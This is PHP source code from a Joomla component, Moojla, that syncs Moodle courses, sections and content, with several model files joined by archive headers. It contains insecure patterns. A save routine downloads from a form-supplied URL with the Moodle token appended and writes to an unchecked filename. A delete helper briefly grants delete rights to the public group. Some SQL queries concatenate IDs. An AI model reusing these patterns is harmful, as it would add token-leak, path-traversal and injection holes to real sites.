if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('content');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
/***[JCBGUI.admin_view.php_save.133.$$$$]***/
$params = JComponentHelper::getParams('com_moojla');
$moodle_token = trim($params->get('moodle_token'));
$url = $data["fileurl"];
$url = str_replace("?forcedownload=1", "", $url);
$url .= "?token=" . $moodle_token;
$file_name = $data["filename"];
if(file_put_contents(JPATH_COMPONENT_ADMINISTRATOR .
"/donwnloaded/" . $file_name,file_get_contents($url))) {
$data["file"] = JPATH_COMPONENT_ADMINISTRATOR .
"/donwnloaded/" . $file_name;
}
else {
$data["file"] = "File downloading failed.";
} /***[/JCBGUI$$$$]***/
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/contents.php000064400000020177151165724400010411 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage contents.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Contents Model
*/
class MoojlaModelContents extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.contents_module_id','contents_module_id',
'a.mimetype','mimetype'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$contents_module_id = $this->getUserStateFromRequest($this->context
. '.filter.contents_module_id',
'filter_contents_module_id');
if ($formSubmited)
{
$contents_module_id =
$app->input->post->get('contents_module_id');
$this->setState('filter.contents_module_id',
$contents_module_id);
}
$mimetype = $this->getUserStateFromRequest($this->context .
'.filter.mimetype', 'filter_mimetype');
if ($formSubmited)
{
$mimetype = $app->input->post->get('mimetype');
$this->setState('filter.mimetype', $mimetype);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_content',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.file LIKE '.$search.')');
}
}
// Filter by Contents_module_id.
$_contents_module_id =
$this->getState('filter.contents_module_id');
if (is_numeric($_contents_module_id))
{
if (is_float($_contents_module_id))
{
$query->where('a.contents_module_id = ' . (float)
$_contents_module_id);
}
else
{
$query->where('a.contents_module_id = ' . (int)
$_contents_module_id);
}
}
elseif (MoojlaHelper::checkString($_contents_module_id))
{
$query->where('a.contents_module_id = ' .
$db->quote($db->escape($_contents_module_id)));
}
// Filter by Mimetype.
$_mimetype = $this->getState('filter.mimetype');
if (is_numeric($_mimetype))
{
if (is_float($_mimetype))
{
$query->where('a.mimetype = ' . (float) $_mimetype);
}
else
{
$query->where('a.mimetype = ' . (int) $_mimetype);
}
}
elseif (MoojlaHelper::checkString($_mimetype))
{
$query->where('a.mimetype = ' .
$db->quote($db->escape($_mimetype)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' .
$this->getState('filter.contents_module_id');
$id .= ':' . $this->getState('filter.mimetype');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_content'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_content'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/course.php000064400000102056151165724400010051 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Course Model
*/
class MoojlaModelCourse extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'cat_id',
'cat_name',
'currency',
'self_enrolment',
'startdate',
'summary_files',
'teachers'
),
'right' => array(
'cost',
'remoteid',
'guest',
'in_enrol_date',
'enddate',
'summary'
),
'above' => array(
'alias',
'shortname',
'fullname',
'permanent_fields',
'catid'
)
),
'video' => array(
'left' => array(
'useglobalvideo',
'videotype',
'preventdownload',
'addcontrols',
'preloadvideo',
'autoplay',
'muted'
)
),
'moodle_access' => array(
'left' => array(
'availabilityinfolink',
'redirect_after_enrol',
'showlogintab',
'loginurl',
'alterurl',
'enterlbl',
'buylbl'
),
'right' => array(
'cangotomoodle',
'popupbutton',
'showregtab',
'registrationurl',
'loginlbl',
'freeenterlbl',
'enrollbl'
)
),
'audio' => array(
'left' => array(
'useglobalaudio',
'preventdownloadaudio',
'preloadaudio',
'autoplayaudio'
)
),
'templates' => array(
'left' => array(
'course_templatestyle_forcourseconfig'
),
'right' => array(
'course_detail_layout'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.course';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'course', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/***[JCBGUI.admin_view.php_model.129.$$$$]***/
public function myDelete($pk){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('rules',
'id')));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
$db->setQuery($query);
$results = $db->loadObjectList();
$acls = json_decode($results[0]->rules);
$deleteAcl = null;
$permission = 'core.delete';
if(!property_exists($acls, $permission))
{
$acls->$permission = new stdClass();
}
$pub = '1';
$acls->$permission->$pub = 1;
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = json_encode($acls);
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
$obj = new stdClass();
$obj->id = $pk;
$obj->published = -2;
JFactory::getDbo()->updateObject('#__moojla_course', $obj,
'id'); // trash item
$pks = array($pk);
$res = $this->delete($pks);
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = $results[0]->rules;
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
return $res;
}
public function setFieldValue($fieldId, $itemId, $value)
{
JLoader::register('FieldsHelper',
JPATH_ADMINISTRATOR.'/components/com_fields/helpers/fields.php');
JLoader::register('FieldsModelField',
JPATH_ADMINISTRATOR.'/components/com_fields/models/field.php');
$fieldModle = new FieldsModelField;
$field = $fieldModle->getItem($fieldId);
$params = $field->params;
if (is_array($params))
{
$params = new Registry($params);
}
$needsDelete = false;
$needsInsert = false;
$needsUpdate = false;
$oldValue = $fieldModle->getFieldValue($fieldId, $itemId);
$value = (array) $value;
if ($oldValue === null)
{
// No records available, doing normal insert
$needsInsert = true;
}
elseif (count($value) == 1 && count((array) $oldValue) == 1)
{
// Only a single row value update can be done when not empty
$needsUpdate = is_array($value[0]) ? count($value[0]) :
strlen($value[0]);
$needsDelete = !$needsUpdate;
}
else
{
// Multiple values, we need to purge the data and do a new
// insert
$needsDelete = true;
$needsInsert = true;
}
if ($needsDelete)
{
// Deleting the existing record as it is a reset
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->delete($query->qn('#__fields_values'))
->where($query->qn('field_id') . ' = ' .
(int) $fieldId)
->where($query->qn('item_id') . ' = ' .
$query->q($itemId));
$db->setQuery($query)->execute();
}
if ($needsInsert)
{
$newObj = new stdClass;
$newObj->field_id = (int) $fieldId;
$newObj->item_id = $itemId;
foreach ($value as $v)
{
$newObj->value = $v;
$db = JFactory::getDbo();
$db->insertObject('#__fields_values', $newObj);
}
}
if ($needsUpdate)
{
$updateObj = new stdClass;
$updateObj->field_id = (int) $fieldId;
$updateObj->item_id = $itemId;
$updateObj->value = reset($value);
$db = JFactory::getDbo();
$db->updateObject('#__fields_values', $updateObj,
array('field_id', 'item_id'));
}
FieldsHelper::clearFieldsCache();
return true;
}
/***[/JCBGUI$$$$]***/
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
if (!empty($item->permanent_fields))
{
// Convert the permanent_fields field to an array.
$permanent_fields = new Registry;
$permanent_fields->loadString($item->permanent_fields);
$item->permanent_fields = $permanent_fields->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.course',
'course', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/course.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('course.delete',
'com_moojla.course.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.course.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
$user = JFactory::getUser();
return $user->authorise('course.edit',
'com_moojla.course.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or $user->authorise('course.edit',
'com_moojla');
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_course'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.course', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return array('remoteid');
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
/***[JCBGUI.admin_view.php_before_delete.129.$$$$]***/
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/section.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/content.php";
foreach($pks as $id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('remoteid')))
->from($db->quoteName('#__moojla_course'))
->where($db->quoteName('id') . ' = ' .
$id);
$db->setQuery($query);
$courseid = $db->loadResult();
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'section_id')))
->from($db->quoteName('#__moojla_section'))
->where($db->quoteName('courseid') . ' = '
. $courseid);
$db->setQuery($query);
$moojlasectionids = $db->loadObjectList();
foreach($moojlasectionids as $section)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'module_id')))
->from($db->quoteName('#__moojla_module'))
->where($db->quoteName('module_section_id') .
' = ' . $section->section_id);
$db->setQuery($query);
$moojlamoduleids = $db->loadObjectList();
foreach($moojlamoduleids as $module)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')))
->from($db->quoteName('#__moojla_content'))
->where($db->quoteName('contents_module_id') .
' = ' . $module->module_id);
$db->setQuery($query);
$moojlacontentids = $db->loadObjectList();
foreach($moojlacontentids as $content)
{
$contentIns = new MoojlaModelContent();
$contentIns->myDelete($content->id);
}
$moduleIns = new MoojlaModelModule();
$moduleIns->myDelete($module->id);
}
$sectionIns = new MoojlaModelSection();
$sectionIns->myDelete($section->id);
}
}
/***[/JCBGUI$$$$]***/
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('course');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('course');
}
if (!$this->canDo->get('course.create') &&
!$this->canDo->get('course.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
if (isset($values['category']) && (int)
$values['category'] > 0 &&
!static::checkCategoryId($values['category']))
{
return false;
}
elseif (isset($values['category']) && (int)
$values['category'] > 0)
{
// move the category value to correct field name
$values['catid'] = $values['category'];
unset($values['category']);
}
elseif (isset($values['category']))
{
unset($values['category']);
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('course.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
if (isset($values['catid']))
{
list($this->table->shortname, $this->table->alias) =
$this->generateNewTitle($values['catid'],
$this->table->alias, $this->table->shortname);
}
else
{
list($this->table->shortname, $this->table->alias) =
$this->generateNewTitle($this->table->catid,
$this->table->alias, $this->table->shortname);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('course');
}
if (!$this->canDo->get('course.edit') &&
!$this->canDo->get('course.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
